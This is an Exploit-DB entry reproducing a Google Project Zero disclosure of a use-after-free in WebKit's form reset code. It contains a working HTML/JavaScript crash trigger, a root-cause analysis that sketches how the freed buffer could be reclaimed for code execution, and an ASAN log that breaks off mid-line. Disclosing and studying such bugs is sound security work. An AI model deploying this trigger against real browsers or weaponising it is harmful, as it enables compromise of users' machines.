Exploit-DB #41213
Description: Apple WebKit - 'HTMLFormElement::reset()' Use-After Free
Type: dos
Platform: osx
Date: 2017-02-01
Author: Google Security Research

Exploit:
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1044 -->

<script>

function go() {

  output.value = "aaa";
  output.appendChild(inserted_div);

  document.getElementById("output").addEventListener('DOMSubtreeModified', function () {
    for(var i=0; i<20; i++) {
      form.appendChild(document.createElement("input"));
    }
  }, false);

  form.reset();

}

</script>
<body onload=go()>
<div id="inserted_div">foo</div>
<form id="form" onchange="eventhandler()">
<input type="text" value="foo">
<output id="output" oninput="eventhandler()"></output>
<input type="text" value="foo">

<!--
=================================================================

Analysis:

The bug is in HTMLFormElement::reset() function, specifically in this part:

    for (auto& associatedElement : m_associatedElements) {
        if (is<HTMLFormControlElement>(*associatedElement))
            downcast<HTMLFormControlElement>(*associatedElement).reset();
    }

The issue is that while m_associatedElements vector is being iterated, its content can change (HTMLFormControlElement being added or removed from it).

Normally HTMLFormControlElement.reset() doesn't change the DOM, but there is one exception to this: The 'output' element. In WebKit, resetting the output element is equivalent to setting its textContent, which causes all of its child elements (if any) to be removed from the DOM tree.

Using this trick we can remove elements from m_associatedElements while it is being iterated. However, this by itself is not sufficient to exploit this issue as m_associatedElements.remove(index) (called from HTMLFormElement::removeFormElement()) won't actually reallocate the vector's buffer, it will only decrease vector's m_size and the vector's elements after m_size will still point to the (former) form members. (It might be possible to force the removed form members to be deleted but I haven't experimented with this).

So instead of removing elements from the m_associatedElements vector, I instead add elements to it while it is being iterated. I did this by adding DOMSubtreeModified event listener to the output element, so that when the output element gets reset, the event triggers and in the event hanlder newly created input elements are added to the form. This causes the vector's buffer to be reallocated to accommodate the new form elements. The loop inside HTMLFormElement::reset() continues to iterate over now deleted buffer, causing the use-after free condition.

If an attacker manages to reclaim the space of the freed buffer and fill it with attacker-controlled data (there is plenty of opportunity to do this inside the DOMSubtreeModified event handler. Also note that the size of the freed buffer can be chosen by the attacker), subsequent iterations over m_associatedElements will cause HTMLFormControlElement::reset() method to be called on the attacker-controlled pointer. Since HTMLFormControlElement::reset() is a virtual function, this can easily lead to code execution.

ASAN log:

=================================================================
==1963==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000a2c50 at pc 0x000109144e28 bp 0x7fff5ee93e10 sp 0x7fff5ee93e08
READ of size 8 at 0x60c0000a2c50 thread T0
    #0 0x109144e27 in WebCore::HTMLFormElement::reset() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2be27)
    #1 0x1099b32e0 in WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149a2e0)
    #2 0x1099b0cdd in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1497cdd)
    #3 0x2e505aa01027  (<unknown module>)
    #4 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
    #5 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
    #6 0x105d014da in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12644da)
    #7 0x1059a1c5d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf04c5d)
    #8 0x105908033 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xe6b033)
    #9 0x104f718d1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d48d1)
    #10 0x104f719fb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d49fb)
    #11 0x104f71d46 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d4d46)
    #12 0x1095a9e2e in WebCore::JSMainThreadExecState::profiledCa